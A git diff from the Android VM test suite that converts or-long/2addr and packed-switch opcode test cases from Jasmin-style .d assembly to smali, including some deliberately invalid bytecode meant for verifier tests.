index a7c4859..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_1.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.smali
new file mode 100644
index 0000000..be93df3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.d
deleted file mode 100644
index f7db657..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_2.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long/2addr v10, v14
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.smali
new file mode 100644
index 0000000..ae81403
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long/2addr v10, v14
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.d
deleted file mode 100644
index 5604162..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_3.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       or-long/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.smali
new file mode 100644
index 0000000..0071ff1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       or-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.d
deleted file mode 100644
index a13b59f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_4.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)J
-.limit regs 14
-
-       or-long/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.smali
new file mode 100644
index 0000000..dcf4a1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       or-long/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.d
deleted file mode 100644
index 7d7667d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_5.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FJ)J
-.limit regs 14
-
-       or-long/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.smali
new file mode 100644
index 0000000..7e88ae2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       or-long/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.d
deleted file mode 100644
index 65d1c7b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_6.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long/2addr v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.smali
new file mode 100644
index 0000000..b9d3c22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long/2addr v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.smali
new file mode 100644
index 0000000..41352ff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_1;
+.super Ljava/lang/Object;
+.source "T_packed_switch_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.smali
new file mode 100644
index 0000000..b4c4337
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_11;
+.super Ljava/lang/Object;
+.source "T_packed_switch_11.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.smali
new file mode 100644
index 0000000..bacbf10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.smali
@@ -0,0 +1,64 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_12;
+.super Ljava/lang/Object;
+.source "T_packed_switch_12.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto :goto_b
+
+    packed-switch p1, :pswitch_data_c
+
+    :pswitch_4
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_6
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_8
+    const/16 v2, 0x14
+
+    return v2
+
+    :goto_b
+    nop
+
+    :pswitch_data_c
+    .packed-switch -0x1
+        :pswitch_6 # -1
+        :pswitch_4 #  0
+        :pswitch_4 #  1
+        :pswitch_8 #  2
+        :pswitch_8 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.smali
new file mode 100644
index 0000000..cf3dd87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.smali
@@ -0,0 +1,62 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_13;
+.super Ljava/lang/Object;
+.source "T_packed_switch_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto :goto_1
+
+    :goto_1
+    packed-switch p1, :pswitch_data_c
+
+    :pswitch_4
+    const/4 v2, -0x1
+
+    return v2
+
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_8
+    const/16 v2, 0x14
+
+    return v2
+
+    nop
+
+    :pswitch_data_c
+    .packed-switch 0x0
+        :pswitch_4 # 0
+        :pswitch_4 # 1
+        :pswitch_8 # 2
+        :pswitch_8 # 3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.smali
new file mode 100644
index 0000000..b6769d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_2;
+.super Ljava/lang/Object;
+.source "T_packed_switch_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(F)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.smali
new file mode 100644
index 0000000..83b0f42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_3;
+.super Ljava/lang/Object;
+.source "T_packed_switch_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p2, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.smali
new file mode 100644
index 0000000..513f920
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_4;
+.super Ljava/lang/Object;
+.source "T_packed_switch_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 p0, -0x1
+
+    return p0
+
+    :pswitch_5
+    const/4 p0, 0x2
+
+    return p0
+
+    :pswitch_7
+    const/16 p0, 0x14
+
+    return p0
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.d.done
